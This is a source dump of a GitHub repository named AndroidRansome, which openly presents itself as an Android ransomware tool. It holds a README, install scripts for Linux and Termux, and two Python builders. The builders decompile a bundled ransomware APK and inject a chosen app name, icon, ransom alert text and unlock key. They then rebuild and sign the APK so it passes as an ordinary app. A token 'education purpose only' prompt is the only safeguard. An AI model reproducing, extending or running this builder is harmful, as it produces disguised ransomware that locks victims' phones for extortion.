├── .data ├── apktool ├── binaries │ ├── 7z.sh │ ├── apktool-2.2.2.jar │ ├── bin │ │ ├── 7za │ │ ├── aapt │ │ ├── keytool │ │ └── zipalign │ ├── publickey.pk8 │ ├── publickey.x509.pem │ └── signapk.jar ├── jav.tar.gz ├── signapk └── zzipalign ├── AndroidRansome.apk ├── README.md ├── androidransome.py ├── debug.jks ├── install.sh ├── installtermux.sh ├── src ├── outputlog.jpg ├── overview.jpg ├── ransomware.jpg ├── sources.img └── view.jpg ├── tehsara.py └── ubersigner.jar /.data/apktool: -------------------------------------------------------------------------------- 1 | #!/data/data/com.termux/files/usr/bin/bash 2 | 3 | export LD_LIBRARY_PATH=$HOME/SARA/.data/binaries/lib/arm:$LD_LIBRARY_PATH 4 | umask 000 5 | cd $HOME/SARA/.data/binaries 6 | exec java -Xmx1024m -Djava.io.tmpdir=$HOME/SARA/ -jar $HOME/SARA/.data/binaries/apktool-2.2.2.jar -p $HOME/SARA/ "$@" 7 | 8 | -------------------------------------------------------------------------------- /.data/binaries/7z.sh: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | export LD_PRELOAD= 4 | umask 000 5 | cd "$1" 6 | shift 7 | /data/data/per.pqy.apktool/apktool/openjdk/bin/7za "$@" 8 | -------------------------------------------------------------------------------- /.data/binaries/apktool-2.2.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/binaries/apktool-2.2.2.jar -------------------------------------------------------------------------------- /.data/binaries/bin/7za: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/binaries/bin/7za -------------------------------------------------------------------------------- /.data/binaries/bin/aapt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/binaries/bin/aapt -------------------------------------------------------------------------------- /.data/binaries/bin/keytool: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/binaries/bin/keytool -------------------------------------------------------------------------------- /.data/binaries/bin/zipalign: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/binaries/bin/zipalign -------------------------------------------------------------------------------- /.data/binaries/publickey.pk8: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/binaries/publickey.pk8 -------------------------------------------------------------------------------- /.data/binaries/publickey.x509.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIEqDCCA5CgAwIBAgIJAJNurL4H8gHfMA0GCSqGSIb3DQEBBQUAMIGUMQswCQYD 3 | VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4g 4 | VmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UE 5 | AxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAe 6 | Fw0wODAyMjkwMTMzNDZaFw0zNTA3MTcwMTMzNDZaMIGUMQswCQYDVQQGEwJVUzET 7 | MBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4G 8 | A1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9p 9 | ZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZI 10 | hvcNAQEBBQADggENADCCAQgCggEBANaTGQTexgskse3HYuDZ2CU+Ps1s6x3i/waM 11 | qOi8qM1r03hupwqnbOYOuw+ZNVn/2T53qUPn6D1LZLjk/qLT5lbx4meoG7+yMLV4 12 | wgRDvkxyGLhG9SEVhvA4oU6Jwr44f46+z4/Kw9oe4zDJ6pPQp8PcSvNQIg1QCAcy 13 | 4ICXF+5qBTNZ5qaU7Cyz8oSgpGbIepTYOzEJOmc3Li9kEsBubULxWBjf/gOBzAzU 14 | RNps3cO4JFgZSAGzJWQTT7/emMkod0jb9WdqVA2BVMi7yge54kdVMxHEa5r3b97s 15 | zI5p58ii0I54JiCUP5lyfTwE/nKZHZnfm644oLIXf6MdW2r+6R8CAQOjgfwwgfkw 16 | HQYDVR0OBBYEFEhZAFY9JyxGrhGGBaR0GawJyowRMIHJBgNVHSMEgcEwgb6AFEhZ 17 | AFY9JyxGrhGGBaR0GawJyowRoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UE 18 | CBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMH 19 | QW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAG 20 | CSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJAJNurL4H8gHfMAwGA1Ud 21 | EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHqvlozrUMRBBVEY0NqrrwFbinZa 22 | J6cVosK0TyIUFf/azgMJWr+kLfcHCHJsIGnlw27drgQAvilFLAhLwn62oX6snb4Y 23 | LCBOsVMR9FXYJLZW2+TcIkCRLXWG/oiVHQGo/rWuWkJgU134NDEFJCJGjDbiLCpe 24 | +ZTWHdcwauTJ9pUbo8EvHRkU3cYfGmLaLfgn9gP+pWA7LFQNvXwBnDa6sppCccEX 25 | 31I828XzgXpJ4O+mDL1/dBd+ek8ZPUP0IgdyZm5MTYPhvVqGCHzzTy3sIeJFymwr 26 | sBbmg2OAUNLEMO6nwmocSdN2ClirfxqCzJOLSDE4QyS9BAH6EhY6UFcOaE0= 27 | -----END CERTIFICATE----- 28 | -------------------------------------------------------------------------------- /.data/binaries/signapk.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/binaries/signapk.jar -------------------------------------------------------------------------------- /.data/jav.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/.data/jav.tar.gz -------------------------------------------------------------------------------- /.data/signapk: -------------------------------------------------------------------------------- 1 | #!/data/data/com.termux/files/usr/bin/bash 2 | 3 | export LD_PRELOAD= 4 | export LD_LIBRARY_PATH=/data/data/com.termux/files/usr/share/jdk8/lib/aarch64:/data/data/com.termux/files/usr/share/jdk8/lib/aarch64/jli:$LD_LIBRARY_PATH 5 | umask 000 6 | cd $HOME/SARA/.data/binaries 7 | 8 | java -Xmx1024m -jar /data/data/com.termux/files/home/SARA/.data/binaries/signapk.jar /data/data/com.termux/files/home/SARA/.data/binaries/publickey.x509.pem /data/data/com.termux/files/home/SARA/.data/binaries/publickey.pk8 "$@" 9 | 10 | -------------------------------------------------------------------------------- /.data/zzipalign: -------------------------------------------------------------------------------- 1 | #!/data/data/com.termux/files/usr/bin/bash 2 | 3 | export LD_LIBRARY_PATH=$HOME/SARA/.data/binaries/lib/arm:$LD_LIBRARY_PATH 4 | exec $HOME/SARA/.data/binaries/bin/zipalign 5 | -------------------------------------------------------------------------------- /AndroidRansome.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/AndroidRansome.apk -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AndroidRansome 2 | A simple android ransomeware tool built in python 3 | 4 | [![forthebadge](https://forthebadge.com/images/badges/made-with-python.svg)](https://forthebadge.com) 5 | 6 | # Installation 7 | ``` 8 | git clone https://github.com/krishpranav/AndroidRansome 9 | cd AndroidRansome 10 | sudo bash install.sh 11 | python3 androidransome.py 12 | ``` 13 | 14 | # Install In Termux: 15 | 16 | - apt-get install tsu -y 17 | - apt-get install imagemagick -y 18 | - apt-get install python -y 19 | - pip3 install Pillow 20 | 21 | 22 | ``` 23 | git clone https://github.com/R1punk/SARA && cd SARA 24 | tsu 25 | bash installtermux.sh 26 | python3 tehsara.py 27 | ``` 28 | -------------------------------------------------------------------------------- /androidransome.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | import os, sys, time, fileinput 3 | from getpass import getpass 4 | from PIL import Image 5 | 6 | r = "\033[1;31m" 7 | g = "\033[1;32m" 8 | y = "\033[1;33m" 9 | b = "\033[1;34m" 10 | d = "\033[2;37m" 11 | R = "\033[1;41m" 12 | Y = "\033[1;43m" 13 | B = "\033[1;44m" 14 | w = "\033[0m" 15 | 16 | app_icon = "" 17 | app_name = "" 18 | alert_title = "" 19 | alert_desc = "" 20 | key_pass = "" 21 | 22 | def banner(): 23 | print(w+b+" ANDROID RANSOME"+w) 24 | 25 | def writefile(file,old,new): 26 | while True: 27 | if os.path.isfile(file): 28 | replaces = {old:new} 29 | for line in fileinput.input(file, inplace=True): 30 | for search in replaces: 31 | replaced = replaces[search] 32 | line = line.replace(search,replaced) 33 | print(line, end="") 34 | break 35 | else: exit(r+"[!]"+w+" Failed to write in file "+file) 36 | 37 | def start(): 38 | global app_icon, app_name, alert_title, alert_desc, key_pass 39 | os.system("clear") 40 | banner() 41 | print(r+"[!]"+w+" Use this tool for education purpose only") 42 | ask = str(input(r+"[!]"+w+" Do you agree (y/n): ").lower()) 43 | if ask in ("yes"): pass 44 | else: exit(r+"[!]"+w+" Dont be evil !") 45 | print(f""" 46 | {r}AndroidRansome{w} is a Simple Android Ransomware Attack 47 | {w}The user can customize the App Icon, Name, Key and others. 48 | {d}If you forgot the unlock key, just restart your phone !{w} 49 | """) 50 | print(b+"> "+w+os.popen("curl ifconfig.co/city --silent").readline().strip()+", "+os.popen("curl ifconfig.co/country --silent").readline().rstrip()+time.strftime(", %d/%m/%Y (%H.%M.%S)")) 51 | print(b+">"+w+" Use \\n for newline and CTRL + C for exit") 52 | print(w+"-"*43) 53 | while True: 54 | x = str(input(w+"* SET app_icon (PNG only): "+g)) 55 | if os.path.isfile(x): 56 | if ".png" in x: 57 | app_icon = x 58 | break 59 | else: print(r+"[!]"+w+" File not accepted, PNG format only !") 60 | else: print(r+"[!]"+w+" File not found, please fill correctly !") 61 | while True: 62 | x = str(input(w+"* SET app_name: "+g)) 63 | if len(x) != 0: 64 | app_name = x 65 | break 66 | else: continue 67 | while True: 68 | x = str(input(w+"* SET title: "+g)) 69 | if len(x) != 0: 70 | alert_title = x 71 | break 72 | else: continue 73 | while True: 74 | x = str(input(w+"* SET description: "+g)) 75 | if len(x) != 0: 76 | alert_desc = x 77 | break 78 | else: continue 79 | while True: 80 | x = str(input(w+"* SET unlock key: "+g)) 81 | if len(x) != 0: 82 | key_pass = x 83 | break 84 | else: continue 85 | print(w+"* Building your ransomware APK's ...") 86 | print(w+"-"*43+d) 87 | os.system("apktool d AndroidRansome.apk") 88 | imgpath = [ 89 | "AndroidRansome/res/drawable-mdpi-v4/ic_launcher.png", 90 | "AndroidRansome/res/drawable-xhdpi-v4/ic_launcher.png", 91 | "AndroidRansome/res/drawable-hdpi-v4/ic_launcher.png", 92 | "AndroidRansome/res/drawable-xxhdpi-v4/ic_launcher.png", 93 | ] 94 | strings = "AndroidRansome/res/values/strings.xml" 95 | print("I: Using strings "+strings) 96 | smali = os.popen(f"find -L AndroidRansome/ -name '*0000.smali'","r").readline().strip() 97 | print("I: Using smali "+os.path.basename(smali)) 98 | writefile(strings,"appname",app_name) 99 | print("I: Adding name with "+app_name) 100 | writefile(strings,"alert_title",alert_title) 101 | print("I: Adding title with "+alert_title) 102 | writefile(strings,"alert_desc",alert_desc) 103 | print("I: Adding description with "+str(len(alert_desc))+" words") 104 | writefile(smali,"key_pass",key_pass) 105 | print("I: Adding unlock key with "+key_pass) 106 | time.sleep(3) 107 | for path in imgpath: 108 | if os.path.isfile(path): 109 | with Image.open(path) as target: 110 | width, height = target.size 111 | size = str(width)+"x"+str(height) 112 | logo = os.path.basename(app_icon) 113 | os.system("cp -R "+app_icon+" "+logo) 114 | os.system("mogrify -resize "+size+" "+logo+";cp -R "+logo+" "+path) 115 | os.system("rm -rf "+logo) 116 | print("I: Adding icon with "+os.path.basename(app_icon)+" size: "+size) 117 | else: exit(1) 118 | os.system("apktool b AndroidRansome -o final.apk;rm -rf AndroidRansome") 119 | os.system("java -jar ubersigner.jar -a final.apk --ks debug.jks --ksAlias debugging --ksPass debugging --ksKeyPass debugging > /dev/null 2>&1") 120 | os.system("java -jar ubersigner.jar -a final.apk --onlyVerify > /dev/null 2>&1") 121 | os.system("rm -rf final.apk") 122 | if os.path.isfile("final-aligned-signed.apk"): 123 | out = app_name.replace(" ","").lower() + ".apk" 124 | os.system("mv final-aligned-signed.apk "+out) 125 | getpass(b+">"+w+" Result saved as: "+B+" "+out+" "+w) 126 | else: print(r+"[!]"+w+" Failed to signed APK's") 127 | 128 | if __name__ == "__main__": 129 | try: 130 | start() 131 | except KeyboardInterrupt: 132 | exit(r+"\n[!]"+w+" Thanks for Using this tool\n exiting ...") 133 | 134 | -------------------------------------------------------------------------------- /debug.jks: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/debug.jks -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/bash 2 | null="> /dev/null 2>&1" 3 | g="\033[1;32m" 4 | r="\033[1;31m" 5 | b="\033[1;34m" 6 | w="\033[0m" 7 | echo -e $b">"$w" AndroidRansome - A simple python tool that creates virus" 8 | echo -e $b">"$w" prepare for installing dependencies ..." 9 | sleep 3 10 | echo -e $b">"$w" installing package: "$g"default-jdk"$w 11 | sudo apt-get install default-jdk -y 12 | echo -e $b">"$w" installing package: "$g"aapt"$w 13 | sudo apt-get install aapt zipalign -y 14 | echo -e $b">"$w" installing package: "$g"apktool"$w 15 | sudo apt-get install apktool -y 16 | echo -e $b">"$w" installing package: "$g"imagemagick"$w 17 | sudo apt-get install imagemagick -y 18 | echo -e $b">"$w" installing pacakge: "$g"python3"$w 19 | sudo apt-get install python3 python3-pip -y 20 | echo -e $b">"$w" installing modules: "$g"pillow"$w 21 | pip3 install Pillow 22 | echo -e $b">"$w" successfully installing dependencies" 23 | echo -e $b">"$w" use command "$g"python3 androidransome.py"$w" for start the console" 24 | -------------------------------------------------------------------------------- /installtermux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | c='\033[1;36m' 4 | y='\033[1;33m' 5 | p='\033[1;35m' 6 | RE='\033[0m' 7 | g="\033[1;32m" 8 | r="\033[1;31m" 9 | b="\033[1;34m" 10 | w="\033[0m" 11 | transparent="\e[0m" 12 | 13 | unset LD_PRELOAD 14 | DIR=$HOME/AndroidRansome 15 | DI=/data/data/com.termux/files/home 16 | null="> /dev/null 2>&1" 17 | 18 | function check_root() { 19 | if [ -e .suroot ]; then 20 | echo -e $G"Success!"$transparent 21 | sleep 3 22 | else 23 | echo -e $r"[!]requires root access!!" 24 | echo -e $r"[!]Use tsu" 25 | sleep 3 26 | exit 27 | fi 28 | } 29 | clear 30 | cp -R $DI/AndroidRansome $DIR 31 | cp /system/framework/framework-res.apk $DI/AndroidRansome/1.apk 32 | echo 33 | echo -e $y" [*] Setting Up Program ..."$c 34 | echo 35 | tar -xf .data/jav.tar.gz -C $PREFIX/share 36 | chmod +x $PREFIX/share/bin/* 37 | mv $PREFIX/share/bin/* $PREFIX/bin 38 | chmod +x .data/apktool 39 | chmod +x .data/signapk 40 | chmod 777 .data/binaries/bin/keytool 41 | rm .data/jav.tar.gz > /dev/null 2>&1 42 | if [ -L $PREFIX/bin/apktool ]; then 43 | rm $PREFIX/bin/apktool 44 | fi 45 | 46 | ln -s $DIR/.data/apktool $PREFIX/bin/ 47 | 48 | echo -e $r"Import Framework "$transparent 49 | sh .data/apktool if $DI/AndroidRansome/1.apk 50 | echo 51 | echo -e $g" [*] DONE!" 52 | sleep 1 53 | echo -e $b">"$w" use command "$g"python3 tehAndroidRansome.py"$w" for start the console" 54 | check_root 55 | echo 56 | 57 | -------------------------------------------------------------------------------- /src/outputlog.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/src/outputlog.jpg -------------------------------------------------------------------------------- /src/overview.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/src/overview.jpg -------------------------------------------------------------------------------- /src/ransomware.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/src/ransomware.jpg -------------------------------------------------------------------------------- /src/sources.img: -------------------------------------------------------------------------------- 1 | # sources images 2 | -------------------------------------------------------------------------------- /src/view.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/src/view.jpg -------------------------------------------------------------------------------- /tehsara.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | import os, sys, time, fileinput 3 | from getpass import getpass 4 | from PIL import Image 5 | 6 | r = "\033[1;31m" 7 | g = "\033[1;32m" 8 | y = "\033[1;33m" 9 | b = "\033[1;34m" 10 | d = "\033[2;37m" 11 | R = "\033[1;41m" 12 | Y = "\033[1;43m" 13 | B = "\033[1;44m" 14 | w = "\033[0m" 15 | 16 | app_icon = "" 17 | app_name = "" 18 | alert_title = "" 19 | alert_desc = "" 20 | key_pass = "" 21 | 22 | def banner(): 23 | print(w+b+"ANDROID RANSOME"+w) 24 | 25 | def writefile(file,old,new): 26 | while True: 27 | if os.path.isfile(file): 28 | replaces = {old:new} 29 | for line in fileinput.input(file, inplace=True): 30 | for search in replaces: 31 | replaced = replaces[search] 32 | line = line.replace(search,replaced) 33 | print(line, end="") 34 | break 35 | else: exit(r+"[!]"+w+" Failed to write in file "+file) 36 | 37 | def start(): 38 | global app_icon, app_name, alert_title, alert_desc, key_pass 39 | os.system("clear") 40 | banner() 41 | print(r+"[!]"+w+" Use this tool for education purpose only") 42 | ask = str(input(r+"[!]"+w+" Do you agree (y/n): ").lower()) 43 | if ask in ("yes"): pass 44 | else: exit(r+"[!]"+w+" Dont be evil !") 45 | print(f""" 46 | {r}AndroidRansome{w} is a simple android ransomeware 47 | {w}The user can customize the App Icon, Name, Key and others. 48 | {d}If you forgot the unlock key, just restart your phone !{w} 49 | """) 50 | print(b+"> "+w+os.popen("curl ifconfig.co/city --silent").readline().strip()+", "+os.popen("curl ifconfig.co/country --silent").readline().rstrip()+time.strftime(", %d/%m/%Y (%H.%M.%S)")) 51 | print(b+">"+w+" Use \\n for newline and CTRL + C for exit") 52 | print(w+"-"*43) 53 | while True: 54 | x = str(input(w+"* SET app_icon (PNG only): "+g)) 55 | if os.path.isfile(x): 56 | if ".png" in x: 57 | app_icon = x 58 | break 59 | else: print(r+"[!]"+w+" File not accepted, PNG format only !") 60 | else: print(r+"[!]"+w+" File not found, please fill correctly !") 61 | while True: 62 | x = str(input(w+"* SET app_name: "+g)) 63 | if len(x) != 0: 64 | app_name = x 65 | break 66 | else: continue 67 | while True: 68 | x = str(input(w+"* SET title: "+g)) 69 | if len(x) != 0: 70 | alert_title = x 71 | break 72 | else: continue 73 | while True: 74 | x = str(input(w+"* SET description: "+g)) 75 | if len(x) != 0: 76 | alert_desc = x 77 | break 78 | else: continue 79 | while True: 80 | x = str(input(w+"* SET unlock key: "+g)) 81 | if len(x) != 0: 82 | key_pass = x 83 | break 84 | else: continue 85 | print(w+"* Building your ransomware APK's ...") 86 | print(w+"-"*43+d) 87 | os.system("sh $HOME/AndroidRansome/.data/apktool d /data/data/com.termux/files/home/AndroidRansome/AndroidRansome.apk -o /data/data/com.termux/files/home/AndroidRansome/AndroidRansomea.apk") 88 | imgpath = [ 89 | "AndroidRansomea.apk/res/drawable-mdpi-v4/ic_launcher.png", 90 | "AndroidRansomea.apk/res/drawable-xhdpi-v4/ic_launcher.png", 91 | "AndroidRansomea.apk/res/drawable-hdpi-v4/ic_launcher.png", 92 | "AndroidRansomea.apk/res/drawable-xxhdpi-v4/ic_launcher.png", 93 | ] 94 | strings = "AndroidRansomea.apk/res/values/strings.xml" 95 | print("I: Using strings "+strings) 96 | smali = os.popen(f"find -O3 -L AndroidRansomea.apk/ -name '*0000.smali'","r").readline().strip() 97 | print("I: Using smali "+os.path.basename(smali)) 98 | writefile(strings,"appname",app_name) 99 | print("I: Adding name with "+app_name) 100 | writefile(strings,"alert_title",alert_title) 101 | print("I: Adding title with "+alert_title) 102 | writefile(strings,"alert_desc",alert_desc) 103 | print("I: Adding description with "+str(len(alert_desc))+" words") 104 | writefile(smali,"key_pass",key_pass) 105 | print("I: Adding unlock key with "+key_pass) 106 | time.sleep(3) 107 | for path in imgpath: 108 | if os.path.isfile(path): 109 | with Image.open(path) as target: 110 | width, height = target.size 111 | size = str(width)+"x"+str(height) 112 | logo = os.path.basename(app_icon) 113 | os.system("cp -R "+app_icon+" "+logo) 114 | os.system("mogrify -resize "+size+" "+logo+";cp -R "+logo+" "+path) 115 | os.system("rm -rf "+logo) 116 | print("I: Adding icon with "+os.path.basename(app_icon)+" size: "+size) 117 | else: exit(1) 118 | os.system("sh $HOME/AndroidRansome/.data/apktool b --aapt $HOME/AndroidRansome/.data/binaries/bin/aapt /data/data/com.termux/files/home/AndroidRansome/AndroidRansomea.apk -o /data/data/com.termux/files/home/AndroidRansome/AndroidRansomeh.apk;rm -rf AndroidRansomea.apk") 119 | os.system("sh $HOME/AndroidRansome/.data/signapk publickey.x509.pem publickey.pk8 /data/data/com.termux/files/home/AndroidRansome/AndroidRansomeh.apk /data/data/com.termux/files/home/AndroidRansome/signed_AndroidRansomeh.apk > /dev/null 2>&1") 120 | os.system("rm -rf AndroidRansomea.apk") 121 | if os.path.isfile("signed_AndroidRansomeh.apk"): 122 | out = app_name.replace(" ","").lower() + ".apk" 123 | os.system("mv signed_AndroidRansomeh.apk "+out) 124 | os.system("mv AndroidRansomeh.apk /sdcard/AndroidRansomeh.apk") 125 | getpass(b+">"+w+" Result saved as: "+B+" "+out+" "+w) 126 | else: print(r+"[!]"+w+" Failed to signed APK's") 127 | if __name__ == "__main__": 128 | try: 129 | start() 130 | except KeyboardInterrupt: 131 | exit(r+"\n[!]"+w+" Thanks for Using this tool\n exiting ...") 132 | -------------------------------------------------------------------------------- /ubersigner.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/krishpranav/AndroidRansome/7ee01eb829568dd9e43a62fc416f8cd233182a3f/ubersigner.jar --------------------------------------------------------------------------------